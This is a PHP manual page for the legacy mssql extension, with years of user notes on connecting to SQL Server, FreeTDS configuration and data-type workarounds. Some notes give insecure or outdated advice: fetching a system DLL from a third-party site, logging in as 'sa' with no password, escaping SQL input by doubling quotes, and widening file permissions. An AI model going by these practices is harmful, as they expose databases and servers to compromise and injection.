  • mssql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_assoc — Returns an associative array of the current row in the result
  • mssql_fetch_batch — Returns the next batch of records
  • mssql_fetch_field — Get field information
  • mssql_fetch_object — Fetch row as object
  • mssql_fetch_row — Get row as enumerated array
  • mssql_field_length — Get the length of a field
  • mssql_field_name — Get the name of a field
  • mssql_field_seek — Seeks to the specified field offset
  • mssql_field_type — Gets the type of a field
  • mssql_free_result — Free result memory
  • mssql_free_statement — Free statement memory
  • mssql_get_last_message — Returns the last message from the server
  • mssql_guid_string — Converts a 16 byte binary GUID to a string
  • mssql_init — Initializes a stored procedure or a remote stored procedure
  • mssql_min_error_severity — Sets the minimum error severity
  • mssql_min_message_severity — Sets the minimum message severity
  • mssql_next_result — Move the internal result pointer to the next result
  • mssql_num_fields — Gets the number of fields in result
  • mssql_num_rows — Gets the number of rows in result
  • mssql_pconnect — Open persistent MS SQL connection
  • mssql_query — Send MS SQL query
  • mssql_result — Get result data
  • mssql_rows_affected — Returns the number of records affected by the query
  • mssql_select_db — Select MS SQL database

User Contributed Notes

stephan at towli dot ch 24-Mar-2010 07:25
I worked on a project with a MS SQL server 2008 containing data of NVARCHAR type in multiple languages,
including asian characters. It is a known issue, that the PHP MSSQL functions are not able to retrieve
unicode data form NVARCHAR or NTEXT data fields.

I spent some time searching for possible solutions and finaly found a work arround, that provides correct
display of latin and asian fonts from a NVARCHAR field.

Do a SQL query, while you convert the NVARCHAR data first to VARBINARY and then to VARCHAR

SELECT
CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),nvarchar_col)) AS x
FROM dbo.table

While you fetch the result set in PHP, use the iconv() function to convert the data to unicode

<?php $x = iconv("UCS-2LE","UTF-8",$row['x']); ?>

Now you can ouput the text to UTF-8 encoded page with the correct characters.

This workarround did run on IIS 6.0 with PHP 5.2.6 running as FastCGI.
mista-birdy[at]hotmail.com 16-Feb-2010 12:53
I'm using IIS 6.0, PHP 5.2 (issapi) and MSSQL.
I've had Problem to connect with PHP to MSSQL.
The Errormessage was that Loginname was incorrect.

My Solution is to set mssql.secure_connection = off
and create an MSSQL-Account (No Windows Authentification!) and connect to MSSQL Server. It works!

If you like to use Windows Authentification, you can use the Apache Service with your desired Account and set mssql.secure_connection = on. Then you can use the mssql_connect() function without user/pwd.
I don't know how this works with IIS 6.0 Server.
David Alan 16-Dec-2008 06:16
If you get an error like:

PHP Warning:  mssql_query(): message: Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier. (severity 16) in /var/www/html/query.php on line 29

There are two solutions: one solution involves casting the data types in the query, the other solution involves changing the version number free tds is using.

The first solution is mentioned all over the web and limits what you can return, the second solution will probably only be found right here.

Open up your free tds configuration file (/etc/freetds.conf), and change:

[global]
tds version = 4.2

to this:

[global]
tds version = 8.0

You don't have to upgrade any packages, but by default, freetds tries to use an older version (if you installed freetds using yum or apt-get).
robert dot johnson at icap dot com 24-Sep-2008 04:33
There is a PHP driver for SQL Server 2005+ from Microsoft.  You can even download the source code.

Search for "SQL Server 2005 Driver for PHP" on MSDN, or try one of these links:

http://msdn.microsoft.com/en-us/library/cc793139(SQL.90).aspx

http://msdn.microsoft.com/en-us/library/cc296221.aspx
Keith Radue, South Africa 23-Mar-2008 10:44
My Workstation/server:

Windows 2000 Advanced Server
iis
PHP 5.2.5
SQL server Express

Could not connect using the following connect string:

$sqlconn = mssql_connect "localhost,1433", "user", "password")

After 2 days of frustration and reinstalling PHP + SQLEXPRESS and trying EVERYTHING I could find via Google, I found a setting in PHP.INI that I never noticed.

ENABLE _dl = ON  ---------- I changed this to OFF

Problem went away and all is working as it used to on PHP4

Hope this helps others with the same problem
Sander Wartenberg 05-Mar-2008 04:19
Running on the following settings I couldn't connect to my local SQL server.

- Apache 2.2.6
- PHP 5.2.5
- SQL Server 2005
- Windows XP SP2

The problem lies within the wrong dynamic library that is included in Apache and PHP. To fix this problem follow this steps:

1. Download the good version of ntwdblib.dll (2000.80.194.0)  http://webzila.com/dll/1/ntwdblib.zip
2. Overwrite C:\wamp\bin\apache\apache2.2.6\bin\ntwdblib.dll
3. Overwrite C:\wamp\bin\php\php5.2.5\ntwdblib.dll

4. Start the SQL Server Configuration Manager -> Protocols
5. Enable "named pipes" and "tcp/ip"
6. Right-click "tcp/ip" -> Properties tab "IP addresses"
7. Fill in "TCP Dynamic Ports" with 1433

8. Restart SQL Server AND Apache, PHP and all the other services

Try the following mssql_connect:

mssql_connect('localhost,1433', USERNAME, PASSWORD);

Good luck!
Slartibartfast 21-Feb-2008 09:19
Using Apache on a windows machine to connect to a networked SQL Server I was getting the following error:

Warning: mssql_connect() [function.mssql-connect]: message: Login failed for user 'DomainName\MachineName$'. (severity 14)

This occurred regardless of the username and the password that I passed to mssql_connect()

Apparently the username and password parameters are ignored when connecting to SQL Server with trusted connections. Instead it attempts to connect using the  Web Server username and password instead. Under windows the default webserver account is the machine name (which is probably not set up as being a windows user).

This can be solved by configuring Apache to log on as a designated user.
-    Open Control Panels
-    Double click administrative tools
-    Double click services
-    Right click on Apache and choose properties
-    Under the "Log On" tab choose "This Account" and type in a valid domain user account & password
-    Restart the Apache service
jigarbe at yahoo dot com 15-Feb-2008 08:35
I was able to install and configure Freetds on CENTOS 4 following the guide lines mentioned in beliw mentioned URL

I advice everybody to follow the same

http://members.cox.net/midian/howto/phpMSSQL.htm
jigarbe at yahoo dot com 15-Feb-2008 08:32
PHP and SQL Server

Install And Configure FreeTDS
The first thing you need to do is to download and install the FreeTDS driver. You can get the source and compile it yourself from http://www.freetds.org/, but I prefer RPMs. Depending on your distrobution of Linux, the version you want will vary. I'm running Red Hat Enterprise Linux 4 ES and CentOS 4, which are both almost identical. I installed freetds-0.62.3-1 from http://rpmforge.net/user/packages/freetds/
After installing FreeTDS, you can check your driver by attempting to connect to the MSSQL Server. Of course, use the appropriate server name, username and password in your command line.
# /usr/bin/tsql -S [mssql.servername.or.ip] -U [ValidUser]
locale is "en-US.UTF-8"
locale charset is "UTF-8"
Password: [password]
1>
Enter "quit" to exit your successful connection. If the tsql command doesn't return the 1> prompt, verify that you can get to your MSSQL server with telnet [mssql.servername.or.ip] 1433 and that your username and password are valid.
Next, edit your /etc/freetds.conf configuration file and add the following at the end of the file:
[TDS]
    host = [mssql.servername.or.ip]
    port = 1433
    tds version = 7.0
  Setup ODBC Data Source
Next, unixODBC needs to know about all ODBC drivers you intend to use. While you can use the GUI program that comes with unixODBC, you can also use the odbcinst command. First create a template file containing your FreeTDS setup information.
tdsdriver.template
[FreeTDS]
Description = v.062 with protocol v7.0
Driver = /usr/lib/libtdsodbc.so.0
Run odbcinst, telling it to install a driver entry using the template we just created.
# odbcinst -i -d -f tdsdriver.template
odbcinst: Driver installed. Usage count increased to 1.
    Target directory is /etc
This will add an entry to the end of the file /etc/odbcinst.ini
[FreeTDS]
Description        = v0.62 with protocol v7.0
Driver       = /usr/lib/libtdsodbc.so.0
UsageCount         = 1
Erwin Moller 22-Jan-2008 06:20
Microsoft SQL Server 2005 and Vista.

The following steps enabled MSSQL 2005 support on Vista Home Permium. (native drivers, not odbc which works out-of-the-box)

1) Place ntwdblib.dll in C:\Windows\System32
2) Place php_mssql.dll in C:\Windows\System32
(I gave IUSR full access to these files, maybe read is enough)

3) uncomment php_mssql.dll in php.ini

4) Changed my default SQLSERVER 2005 install so it accepts named piped. (Do this via start-> SQLServer2005->configuration tools->SQL SERVER surface area configuration.

5) reboot.

After that I could use the mssql_* functions.

Hope that helps.
darkelder at php dot net 21-Jan-2008 12:14
Microsoft do offer a SQL Server 2005 driver for PHP at http://www.microsoft.com/sql/technologies/php/default.mspx

It can be download free of charge. Binaries are provided for Windows platform only.
ahribernik _at_ blitztelecom com au 19-Nov-2007 04:44
FYI if you are on Linux and using FreeTDS for your drivers (you most likely are), you can get past the 255 character limit by:

1. open the file freetds.conf (normally in the directory /etc)
2. under [global] section change the "tds version" to "7.0" or "8.0" (depending on your version of SQL Server)
3. changes should be instant!

use 7.0 for Microsoft SQL Server 7.0
use 8.0 for Microsoft SQL Server 2000 and above

see http://www.freetds.org/userguide/choosingtdsprotocol.htm
nospam at gmail dot com 26-Oct-2007 11:10
If you are using mssql_bind with stored procedures on Windows and need to get around the 255 character varchar limit, one hack is to pass SQLTEXT as the data type to mssql_bind rather than SQLVARCHAR.

You will still need to use some means to get around returning  varchar data that's longer than 255, the simplest of which is to CAST the varchar field as text in your stored procedure itself.
hadrien(dot)debris {at} gmail(dot)com 11-Sep-2007 06:27
I have lost one day to understand why the MSSQL<->PHP connection was no longer functioning after a PHP update (5.2.2->5.2.4).

I eventually found how to solve things:
BEFORE
[code]$link = mssql_connect("SERVER\INST", "LOGIN", "password");[/code]

Which does not work any longer.

AFTER
[code]$link = mssql_connect("SERVER\\INST", "LOGIN", "password");[/code]

Works flawlessly.

Hope that'll prevent someone to lose precious hours of exasperation.
michael at nospam dot onlinecity dot dk 11-Sep-2007 02:55
If you are experiencing that ANSI characters are being corrupted, e.g. nordic letters are showing up as invalid characters and you have SQL Server 2000 installed on the same machine as the webserver, try checking SQL Server Client Network Utility under the DB-Library Options tab.
Make sure that "Automatic ANSI to OEM conversion" is NOT checked, this caused me several hours of headache.
mprentice at eeicom dot com 05-Sep-2007 08:34
It appears ntwdblib.dll is no longer a part of SQL 2005.  According to Microsoft the component is deprecated and they recommend using OLE DB or ODBC.  The dll from SQL Server version 6.5, SQL Server 7.0, or SQL Server 2000 still works against 2005 if you have it.

From Microsoft's site:

 Although the SQL Server 2005 Database Engine still supports connections from existing applications using the DB-Library and Embedded SQL APIs, it does not include the files or documentation needed to do programming work on applications that use these APIs. A future version of the SQL Server Database Engine will drop support for connections from DB-Library or Embedded SQL applications. Do not use DB-Library or Embedded SQL to develop new applications. Remove any dependencies on either DB-Library or Embedded SQL when modifying existing applications. Instead of these APIs, use the SQLClient namespace or an API such as OLE DB or ODBC. SQL Server 2005 does not include the DB-Library DLL required to run these applications. To run DB-Library or Embedded SQL applications you must have available the DB-Library DLL from SQL Server version 6.5, SQL Server 7.0, or SQL Server 2000.

http://msdn2.microsoft.com/en-us/library/ms143729.aspx
chop_01 at yahoo dot com 29-Aug-2007 01:38
I tried all manner of things in order to cnnect to SQLExpress aka SQL Server 2005 and was just about to walk away and move across to MySQL when it just dawned on me that after following all of the instructions from numerous people I never restarted the Apache service.

This meant that the new ntwdblib.dll was never called. I restarted the service and hey presto ... I can now connect to the SQL server.

The items that I did were as follows:

1. Installed the SQLServer in mixed auth mode
2. Checked that the mssql.secure_connection = Off was present in the php.ini
3. Copied the ntwdblib.dll file into
        o WINDOWS\SYSTEM32
        o program files\apache2\bin
        o php
4. Started the SQL Server Browser Service
5. Enabled all of the IPs in Protocols > TCP/IP
6. Restarted the following services:
       o Apache
       o SQL Service
       o SQL Browser Service

This allowed me to connect with no problems using the following parameters within my mssql_connect call

HOST=.\SQLEXPRESS
USERNAME=sa
PASSWORD=<MYPASS>
swaldester at gmail dot com 18-Jul-2007 08:03
For all of you connecting to MS SQL Server using freeTDS, having trouble to log on with a domain login:

Add the line:
putenv('TDSVER=70');

just before calling mssql_connect()

This worked for me with a MS SQL Server 2K Ent.

Thank you elmer !
post at wmm dot no 03-Jul-2007 11:48
Having trouble connecting to a MS SQL Server from Windows server with Apache + PHP, or some other server-configuration?

Too old MDAC in Windows may be your problem.

Here is a summary for those working on Windows-plattform:

1. Update your Microsoft MDAC (search for Microsoft Data Access Components on www.microsoft.com). Some older Microsoft servers (or workstations) contain old and crappy MDAC-installations. This solved our problem after two days of work..

2. Make sure ntwdblib.dll (version 8.00.194) is in the correct place(s). I only placed it in Apache bin directory and it worked fine, but apparently some Microsoft installations need it in several locations.. this is indeed very confusing!

3. You may have to set mssql.secure_connection = off in your php.ini

4. Make sure needed ports are configured in your firewall.

Hope this helps - now, back to coffee!
nmax at libero dot it 26-Jun-2007 05:41
About the ntwdblib.dll, I can say that on Windows 2003 Server with Apache 2.2 and PHP 5.2.3 I have repalced the one present in PHP folder with the version 8.00.194 of the same.

Putting the dll only in PHP folder and configuring in php.ini the variable mssql.secure_connection = Off mssql_connect() works!
James at thetallfamily dot com 21-Jun-2007 12:36
MSSQL doesn't have a real_escape_string function like MYSQL does, which can lead to error when inserting or updating data that contains a ' (single quote).

To prevent this, replace all ' (single quotes) by TWO ' (single quotes) '' which SQL server will interpret as an escaped '.
Also you may want to remove any \' \" escape sequences that are translated from any FORM output into the PHP $_POST variables.

Hope this helps someone.
James
Roy Maarssen 07-May-2007 01:47
My problem was that I've loaded the ntwdblib.dll (8.00.194) into the php directory, but it also have to be placed in the bin directory of Apache.

I hope this will save you some time searching for the solution, if you encounter the same problem.

I'm using SQL 2005 Express Edition on Windows Vista Enterprise with Apache.
lostaircryptic at hotmail dot co dot uk 30-Apr-2007 03:34
MAXIMUM COLUMN LENGTH OF 30 CHARACTERS....

This restriction was solved by using the following techniques.

First create a test which detects this to be the problem and then self correct it.

For the times that this is a problem rename the columns to an unique column name which is 30 characters exactly in length.  This column must be unique compares to the others, so use the MD5 Hashed value.  Since MD5 hashed values are 32 character HEX values, convert this to a toggle Hex value giving an exact maximum length of 31 characters.  Prepend a character to the start to ensure that it falls within Column naming regulations.

When the data is obtained, check for the hashed values against a check array and replace where neccessary.

Although complex it may sound, the method has been tried and successfully works, thus allowing columns of greater length than that of 30 characters.

I had this situation within Linux as well as Windows (XAMPP), so this solution was ultimate in solving the problem.

You can run the detection as a constant or automatically.  However it is best to use a constant for efficiency reasons.

Any questions, just email me.
Jason {at} RoundtopRiders {dot} com 10-Apr-2007 11:54
I struggled with this for a few days and finally got it figured out. I'm running Windows 2003 Server, PHP 5.2, Apache 2.2 and MSSQL Server 2005.

(1) Set 'msssql.secure_connection = On' in the PHP.ini file
(2) Download the correct ntwdblib.dll file (version 8.00.194)

Copy this to:

C:/Windows/System32
<server root>/php
<server root>/apache/bin

(I would just do a search for this file and replace it anywhere you find it...)

(3) Make sure TCP/IP and Named Pipes are enabled in the SQL Configuration tool.

Hope this saves somebody a few hours.
deyura at gmail dot com 10-Apr-2007 03:06
FreeTDS is work!!!

But after install you shoul add in config file
1. Add in freetds.conf client cahrset:
[TDS_NAME_TO_CONNECT]
host = 192.168.0.1
port = 1433
tds version = 8.0
client charset = CP1251

2. For datetime add in locales.conf in [default]:
date format = %Y-%m-%d %I:%M:%S.%z

3. restart apache

4. In your php-script you should connect to [TDS_NAME_TO_CONNECT]
mssql_connect('TDS_NAME_TO_CONNECT', 'php', '123');
vbchris at gmail dot com 06-Apr-2007 08:56
If your having problems with  your script at random times refusing to connect to the database. Try editing php.ini and uncommenting this line.

mssql.max_procs = -1

This solved the problem for me after 3 days of pulling my hair out wondering why it kept refusing to connect!

==

[Because this may not always work,] I created a loop to create a few connections and noticed it was always the first connection that failed. So I wrote this to keep trying to connect until it eventually does.

<?php
while(!$connection){
    @$connection = mssql_connect($cfg['server'],$cfg['username'],$cfg['password']);
}
$db = mssql_select_db($cfg['database'],$connection) or die("Error selecting the database");
?>
ziggurism at gmail dot com 30-Jan-2007 10:53
On *nix, of course you need to add extension=mssql.so to your php.ini.  Obvious, but it took me a while to figure that out.
tom at mazzotta dot com 18-Jan-2007 03:38
FINNALLY got PHP to connect to MS SQL Server. Even though I read through the multitue of comments about ntwdblib.dll, etc., I still couldn't get it to work. The key was to load the Microsoft MDAC (2.8) on my IIS/PHP server. If your environement does not use the web server to host SQL as well, you will probably need to install the MDAC. My guess is that an installation of SQL Server (and/or just the client tools) on the webserver will automatically include the MDAC and you would not experience this problem.
phpnet at pginet dot com 08-Jan-2007 12:35
This took me a while to figure out, so I may as well pass it along to save somebody time.

If you are having trouble connecting with a DSNless connection using unixodbc with freetds, don't forget to specify the TDS_Version in your connection string.

Example (8.0 is for SQL Server 2000 exclusively):

<?php
$dsn = "DRIVER=FreeTDS;TDS_Version=8.0; TRACE=No; SERVER=someserver; PORT=someport; DATABASE=somedb; UID=somelogin; PWD=somepassword";
?>
be_misc_01 at flowbuzz dot com 20-Dec-2006 01:06
Couple of notes:
When setting this up, you might notice that the unixODBC isql command likes the password wrapped in single quotes:
isql -v MyDSN MyUserID 'MyPa$$W0rd'

Additionally, if you happen to have a dollar-sign in your password (or username, or DSN) -- you must avoid using double quotes.  This is a normal PHP gotcha, but worth mentioning.
Won't work:
<?php $con = mssql_connect ("MyDSN", "MyUserID", "MyPa$$W0rd"); ?>

Will work (single quotes):
<?php $con = mssql_connect ("MyDSN", "MyUserID", 'MyPa$$W0rd'); ?>
davinel_lu_linvega at hotmail dot com 07-Dec-2006 03:38
About using the MSSQL XML field-type, for Win32 users,  :

1. The most simple way would be to

"SELECT [xmlfield] FROM [table]"

But this triggers the following error :

"Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier. (severity 16)"

2. Well, let's just read [xmlfield] as a VARCHAR.

"SELECT CAST([xmlfield] AS VARCHAR(8000)) FROM [table]"

will truncate to the 255 first characters, due to the API limitation. (see the marc at NOSPAM dot durdin dot net note)

3. So woud not that be appropriate to use the TEXT field-type ?

"SELECT CAST([xmlfield] AS TEXT) FROM [table]"

triggers :

"Explicit conversion from data type xml to text is not allowed. (severity 16)"

4. So you cannot read the VARCHAR nor the XML, and you cannot transform the XML into TEXT. In order to finally read that XML field-type, you may use this trick :

"SELECT CAST(CAST([xmlfield] AS VARCHAR(8000)) AS TEXT) FROM [table]"
KamiKazie at comcast dot net 21-Nov-2006 07:01
I have found that a Windows Webserver cannot connect to a Microsoft SQL Database if the webserver is running Microsoft SQL Server Agent.  It gives connection and undefined function errors.  Hope this helps some people.
JinXy at skylinetop dot com 15-Nov-2006 08:37
I had major problems trying to get the msssql extension loaded.  The following fixed it for me:

1. Make sure the ntwdblib.dll file located in system32/ on the Database server is copied to system32 on the PHP serving server.
2. Uncomment the extension in the php.ini file.
3. Add the following to the registry: [HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"
This tells PHP where to find the php.ini
(This is what my resolution to my problem was - only after some time did I find some reference to it).
4. Restart IIS
anders jenbo(located)pc denmark 03-Nov-2006 12:32
The 3 major headaicks I had while setting up MS SQL 2005, php 5.1.6 (apache 2.2 server) on Vista RC1 and getting them to comunicate.

TCP/IP and "Named Pipes Protocol" had to be enabled in the MS SQL Server. You do this in the Surface Area Configuration tool.

MS SQL 2005 should be set to mix mode login. Unless you use NT authentication in php.ini.
You can do this in duing install if you select advanced options.
If it's already installed you will have to use the SQL management Studio (properties->securety).

At first the php_mssql.dll didn't load properly (wan't showing up under phpinfo()) and gave no error message at startup, the cause of this was the ntwdblib.dll that came with php (273KB) replacing it with the one that came with MS SQL 2005 (269KB) fixed the issuse, incase you haven't installed MS SQL on your machine you can also find it on the net.
php at scrunch dot net 19-Sep-2006 09:36
With WinXP client, connecting to SQL Server 2005, via PHP on the command line (CLI).

If the serverr was installed with support for multiple instances, you can not connect to it, even when attempting to connect to the default instance.

Replace the ntwdblib.dll (7.00.839) provided by PHP with the one from SQL Server 2000 (8.00.194).

Otherwise you will see this message, which is not very helpful:
Warning: mssql_connect(): Unable to connect to server: ...
Bart 22-May-2006 09:46
Another helpful hint in regards to SQL Server 2005 Express:

Make sure your SQL Server is set to  "SQL Server and Windows Authentication mode". By default it is NOT.

1) Open "SQL Server Management Studio Express"
2) Right-click server ("machinename\sqlexpress") and select "Properties".
3) Select "Security"
4) Select "SQL Server and Windows Authentication mode"
5) Restart SQL Server.
phil at hilands dot c-spam-om 19-May-2006 02:13
mssql.datetimeconvert

using freebsd and freetds I ran into the dates month being rolled back
01 jan would be 00
12 dec would be 11 nov

removed
ini_set('mssql.datetimeconvert',false);
default setting is to 1 or true on the servers config
and the date issue I ran into was resolved

I don't know how the mssql.datetimeconvert setting works but if you're getting a roll back in dates might be worth making sure its on.

using ini_get when dealing with scripts that like to modify ini settings will save a headache if you use phpinfo() like me

*side note with the same settings in freetds php apache etc on a debian load I didn't have this issue even with mssql.datetimeconvert off
thnkloud9 at aol dot com 02-Mar-2006 01:54
I had major latency problems with DB connections using php_mssql.dll without the client tools.  I found that by default it was using TCP/IP as the default connection method.   Installing the SQL Server client tools and using the Client Network Utility to change my settings to use named pipes resolved this issue.  You can use the Client Utility to set up a named pipes server alias and reference that in your connect string.
erwin_nospam_moller at xs4all dot nl 06-Oct-2005 04:43
php5isapi / w2000 / ISS5

If you use the above configuration (isapi) and follow the suggestion to deselect 'cache isapi application' to avoid 100% processor usage, you might end up with an oocasional error:

The remote procedure call failed and did not execute.

It happened to me every third visit to the same page.
RE-enabling caching resolved the issue.

M$ has an article about this in their knowledgebase, stating that this option should always be selected and is only there for developmentpurposes. (undocumented feature. :P)

Deselecting this option forces IIS to reload ALL relevant dll's every time a request is received in memory, also VB/ASP.
Erick Robertson 20-Aug-2005 06:58
Some helpful functions.  Pretty simple, but very useful.

<?php
function mssql_begin_transaction() {
  mssql_query("BEGIN TRANSACTION");
}

function mssql_commit() {
  mssql_query("COMMIT");
}

function mssql_rollback() {
  mssql_query("ROLLBACK");
}

function mssql_insert_id() {
  $id = "";

  $rs = mssql_query("SELECT @@identity AS id");
  if ($row = mssql_fetch_row($rs)) {
    $id = trim($row[0]);
  }
  mssql_free_result($rs);

  return $id;
}
?>
vangoethem at hotmail.com 10-Aug-2005 05:47
I had problems related to VARCHAR limitation to 255 characters (INSERT/UPDATE works, SELECT was truncated) using freetds driver (Linux platform).

By upgrading the TDS protocol to 8.0 (see freetds config file), I fixed the problem.
hbzxc at 126 dot com 27-Jun-2005 02:14
I am trying to connect to SQL Server 2000 from PHP
I bumped to following warning:
Warning: mssql_connect(): Unable to connect to server: SERVER\Portal
....... on line 5

on line 5 there is:
$db_connect = mssql_connect('SERVER\Portal', 'sa', 'my_passwd');

I did the following
1.enabled php_mssql.dll extension in PHP.ini
2.every dll is in proper place(System32 or PHP folder),including ntwdblib.dll

I search lots of profile throught web ,but no one give me proper answer to resolve it.

after a few hour ,I found the problem was caused by
ntwdblib.dll ,which version is 7.00.839 ,when I replaced old ntwdblib.dll with the new ntwdblib.dll ,which version is 8.00.194 ,all problem are solved.
cmeerbeek[at]ymor[.]nl 13-May-2005 01:32
We had some, read A LOT, of problems with MSSQL under Windows 2003.
We had 2 the same windows, php, php-ini, everything machines but only one could connect. Unable to connect was the error message.

Finnaly we checked the version of ntwdblib.dll and the one distributed with PHP was 7.00.... and the version of the one on the SQL Server install was 8.00.... so we copied this one in the php and apache dir and it worked.
boonkit at gmail dot com 29-Mar-2005 01:29
If you are having problems with freeTDS when trying to get access to unicode data from mssql, set 'tds version =7.0' at etc/freetds.conf
tony 23-Mar-2005 07:51
With PHP 5 on a Windows 2000/IIS platform:

I have integrated authentication enabled in IIS.  I kept getting CGI timeouts on PHP pages for everyone but local administrators of the box.  The event log showed that PHP could not load php_mssql.dll, php_oci8.dll, and php_oracle.dll - 'Access Denied.'

These extensions were executable by everyone, but the DLLs they depend on were not.  Had to add exec permissions for everyone to c:\winnt\system32\ntwdblib.dll as well as the oracle bin directory.
marcel at fluidleb dot com 30-Jan-2005 10:24
I've spent the last three days wild guessing why I could not connect to MS SQLServer 2000 and so I hope this might help someone else. Microsoft has purposefully closed the 1433 tcp port and others (maybe only to external ips) of the server. You can easily check if this is the case by looking at the Event Monitor. You should see an error produced by MSSQL SERVER/MSDE that basically says what I said. It suggests downloading and installing a security patch to open up the ports (but doesn't even say which update - remember this is Microsoft).

Do download Service Pack 3a (SP3a). It does indeed fix the problem.
Salman Majid 25-Jan-2005 09:15
I was having problem in connecting Ms-SQL server with mssql_connect(srvr,uid,pwd).  I used odbc functions to connect to Ms-SQL server. I was on a work station and server was not accessible for unknow reasons. mssql functions did not work there so I had to use odbc.  I simply created a DSN to my Database and replaced it with "server_name". i.e.

<?php mssql_connect(dsn,uid,pwd); ?>

it worked well
hbinduni at hslprpol dot com 20-Dec-2004 12:15
i found http://odbtp.sourceforge.net working fast, easy to use and to configure, and yes, it's multiplatform.
marc at NOSPAM dot durdin dot net 18-Nov-2004 08:19
Buried away in the mssql_field_length documentation is an important limitation that it is certainly worth knowing about *BEFORE* you do any database design:

Note to Win32 Users: Due to a limitation in the underlying API used by PHP (MS DbLib C API), the length of VARCHAR fields is limited to 255. If you need to store more data, use a TEXT field instead.

SQL Server natively supports VARCHAR up to 8000 characters.  Note that TEXT fields have substantially poorer performance (and are much more limited) than VARCHAR so you may want to design your databases accordingly...

You can also work around this limitation with the following:

   -- for example, with MyVarCharField VARCHAR(1000)
   SELECT CAST(MyVarCharField AS TEXT) FROM MyTable
ASWL 28-Oct-2004 05:55
This note is for mssql under a Windows environment.

If you are having problems connecting to MS SQL using the mssql PHP extension then I would suggest that you get a copy of the latest NTWDBLIB.DLL. Copy it to the directory where PHP expects to find it's dll files.

I had an issuse whereby I was unable to connect to a MS SQL Cluster and this resolved my problem.
Dimitri Tarassenko (mitka at mitka.us) 24-Oct-2004 12:37
To enable MS SQL functions in PHP on Fedora Core or RHEL3 without recompiling PHP and replacing the distribution PHP packages, download and install php-mssql and freetds RPMS from

http://phprpms.sf.net/mssql
mworku at yahoo dot com 02-Oct-2004 09:49
If you want to utilize the freetds.conf file db parameters within
mssql_connect() function

<?php
    putenv('FREETDSCONF=/etc/freetds.conf');

     /*
        mssql_connect('MSSQL_8.0' , 'user' , 'pwd');
        ....
        ....
    */
?>

FreeTDS conf file

 [MSSQL_8.0]
    host = 10.254.254.10
    port = 1433
    tds version = 8.0
marcos1979ar at yahoo dot com dot ar 10-Jun-2004 03:07
Red Hat 9.0   Freetds 0.62.3   Apache 2.0.49   PHP 5.0.ORC3

Instucction, that premit connect a server Linux with a server Windows 2000 Server with SQL Server.

INSTALLING FREETDS

1-.  Download freetds -> www.freetds.org
2-.  tar -zxvf freetds-stable-tgz
3-.  cd freetds-0.62.3
4-.  ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib --enable-dbmfix --with-gnu-ld

Note:  tdsver=8.0 if you use SQL 2000, tdsver=7.0 if you use SQL 7.0

5-.  make
6-.  make install
7-.  /usr/local/freetds/bin/tsql -S <ip of the server> -U <User SQL>

Note: For default User SQL is    sa     and the it have not password
For example: /usr/local/freetds/bin/tsql -S 198.168.100.2 -U sa

8-.  Add the next text in freetds.conf ( /usr/local/freetds/etc )
[TDS]
host = <ip of the Server with Sql>
port = 1433
tds version = 8.0

Note: If you use SQL 2000 then tds version = 8.0
if you use SQL 7.0 then tds version = 7.0

9-.  Add the next text in the file /etc/ld.so.conf
/usr/local/freetds/lib

INSTALLING  APACHE

1-.  Download apache  www.apache.org
2-.  tar -zxvf httpd-2.0.49.tar.gz
3-.  cd httpd-2.0.49
4-.  ./configure --prefix=/etc/httpd --enable-so
5-.  make
6-.  make install
7-.  Configure the file  -> httpd.conf ( /etc/httpd/conf/httpd.conf )
8-.  Probe the apache: /etc/httpd/bin/apachectl start
/etc/httpd/bin/apachectl stop

INSTALLING  PHP

1-.  Download the PHP in this site (www.php.net)
2-.  tar -zxvf php-5.0-ORC3.tar.gz
3-.  cd php-5.0-ORC3
4-.  ./configure --with-apxs2=/etc/httpd/bin/apxs --enable-versioning --with-mssql=/usr/local/freetds --disable-libxml
5-.  make
6-.  make install
7-.  cp php.ini-DIST /usr/local/lib
8-.  Add the next line in /etc/httpd/conf/httpd.conf
AddType application/x-httpd-php .php

TESTING

<html>
<body>
<?php
$con = mssql_connect ("<ip of the server SQL>", "sa", "");
mssql_select_db ("<Data Base>", $con);
$sql= "SELECT * FROM <Table>";
$rs= mssql_query ($sql, $con);
echo "The field number one is: ";
echo mssql_result ($rs, 0, 0);
mssql_close ($con);
?>
</body>
</html>
Asad Moin 28-May-2004 07:48
I took the following steps to make PHP talk to SQL2000:

- Copy ntwdblib.dll file from your SQL server's  \winnt\system32 folder to the \winnt\system32 folder on the PHP box.

- Copy the php_mssql.dll from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory.

- Add or uncomment the following line under Windows Extentions in your php.ini file (\winnt\php.ini): extension=php_mssql.dll

Hope that helps.
andrew at power-grid dot com 26-May-2004 12:11
Ok, this took me a few days to get right but for those of you out there having a hard time with getting PHP to talk to SQL 2000 this is for you!  Personally for me the mssql plugin barely worked with sql 2000 and was VERY slow, here's your solution and also some good code to connect securely and quickly through ADO. I was having the worst time getting ADO to work as well, most sites do the driver part a different way.. for me the code below is the only thing that worked.

<?php
$db = new COM("ADODB.Connection");
$dsn = "DRIVER={SQL Server}; SERVER={SERVER};UID={USER};PWD={PASS}; DATABASE={DB}";
$db->Open($dsn);
$rs = $db->Execute("SELECT * FROM table");

while (!$rs->EOF)
{
    echo $rs->Fields['column']->Value."<BR>";
    $rs->MoveNext();
}
?>
Arthur W Rudd 26-May-2004 11:37
I'm running apache 1.3.26 and php 4.3.6 on a linux server (debian), and connecting to SQL Server 2000 via php4-mssql and Freetds.

I managed to get a connection to the SQL server, but found that when I used the function mssql_query() to pass in a Select statement containing datetime columns, I would get the following message in Internet Explorer - "The page cannot be displayed".  When I removed the datetime column from the query, it worked fine, and returned a resultset.
Looked in the apache error.log file, and found the error "child pid xxxxxx exit signal segmentation fault".

After a lot of searching on the internet I stumbled upon an entry which was missing from my php.ini.  I added the line "mssql.datetimeconvert = Off" to the MSSQL section of pphp.ini, restarted Apache, and the problem went away.  Now I can select dates in SQL queries
jasenko at get2net dot dk 05-May-2004 11:46
If you get a crash trying to get currency from database with smallmoney datatype and big value (in my case it was 15000..), change datatype to money instead. The error is gone.

I'm using php 4.2.3 and MSSQL 7.0 on windows.
